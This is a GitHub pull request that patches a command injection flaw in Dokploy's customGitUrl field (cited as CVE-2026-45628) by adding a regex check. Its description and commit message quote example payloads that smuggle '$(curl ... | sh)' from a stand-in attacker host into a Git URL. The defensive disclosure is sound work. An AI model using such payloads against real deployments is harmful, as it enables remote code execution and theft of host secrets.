Skip to content

fix: validate customGitUrl to prevent command injection via command substitution#4676

Open
gsmatheus wants to merge 1 commit into
Dokploy:canaryfrom
gsmatheus:security/fix-command-injection-git-url
Open

fix: validate customGitUrl to prevent command injection via command substitution#4676
gsmatheus wants to merge 1 commit into
Dokploy:canaryfrom
gsmatheus:security/fix-command-injection-git-url

Conversation

@gsmatheus

@gsmatheus gsmatheus commented Jun 22, 2026

Copy link
Copy Markdown

Summary

This PR fixes the command injection vector in customGitUrl described in CVE-2026-45628 / GHSA-3frc-cfh9-ch2c, which was reported but remains unpatched (Patched versions: None).

  • git-url-validation.ts: Added VALID_GIT_URL_REGEX that accepts standard HTTPS and SSH Git URLs while rejecting shell metacharacters ($, backticks, ;, |, &, etc.). Follows the same pattern as the existing VALID_BRANCH_REGEX.
  • application.ts: apiSaveGitProvider now validates customGitUrl with .refine(VALID_GIT_URL_REGEX) at the Zod schema layer, rejecting malicious URLs before they reach the shell command builder.

Problem

The customGitUrl field was validated only with z.string().optional() — no shell-metacharacter restriction. The value is interpolated unquoted into a shell command in cloneGitRepository() (packages/server/src/utils/providers/git.ts:81):

git clone --branch ${customGitBranch} --depth 1 --progress ${customGitUrl} ${outputPath}

This command is executed via execAsync (local, /bin/sh -c) or execAsyncRemote (remote SSH), both of which pass the string verbatim to a shell — no escaping is applied.

An authenticated user with application: create/update permission can inject arbitrary shell commands via $(...) command substitution in the Git URL. Example — setting customGitUrl to:

https://github.com/legit/repo.git$(curl http://attacker/pwn.sh | sh)

makes the shell expand $(curl http://attacker/pwn.sh | sh) before git clone runs, executing the injected command on the build host. This bypasses set -e because it is expanded inline within the argument string — it does not introduce control-flow characters that would break the if ! ... then ... fi structure.

Impact

  • Remote Code Execution as the Dokploy process user (typically root in self-hosted deployments, or a user with docker group access)
  • Full host compromise via Docker socket access → container escape → root on host
  • Cross-project data theft: access to environment variables, secrets, SSH keys, and application data of all projects on the same instance
  • Lateral movement: in remote server deployments, the RCE executes on the remote SSH target via execAsyncRemote
  • Stealth: the $(...) expansion produces empty output, so git clone succeeds and the deployment appears successful

Why customGitBranch is safe but customGitUrl was not

customGitBranch is already validated by VALID_BRANCH_REGEX = /^[a-zA-Z0-9._-/]+$/ which blocks all shell metacharacters. customGitUrl had no equivalent validation — only z.string().optional(). This PR adds the equivalent protection for the URL field.

…bstitution

The customGitUrl field was only validated with z.string().optional() —
no shell-metacharacter restriction. An authenticated user could inject
arbitrary shell commands via command substitution, e.g.:

  customGitUrl: "https://github.com/x.git$(curl attacker.com | sh)"

The $(...) is expanded by the shell before git clone runs, executing
the injected command on the build host (local or remote SSH).

customGitBranch is already protected by VALID_BRANCH_REGEX; this adds
equivalent validation for customGitUrl via VALID_GIT_URL_REGEX which
accepts standard HTTPS and SSH Git URLs while rejecting shell
metacharacters ($, `, ;, |, &, etc.).

See SECURITY-AUDIT.md for full details.
@gsmatheus gsmatheus requested a review from Siumauricio as a code owner June 22, 2026 01:05
@dosubot dosubot Bot added size:S This PR changes 10-29 lines, ignoring generated files. bug Something isn't working labels Jun 22, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working size:S This PR changes 10-29 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant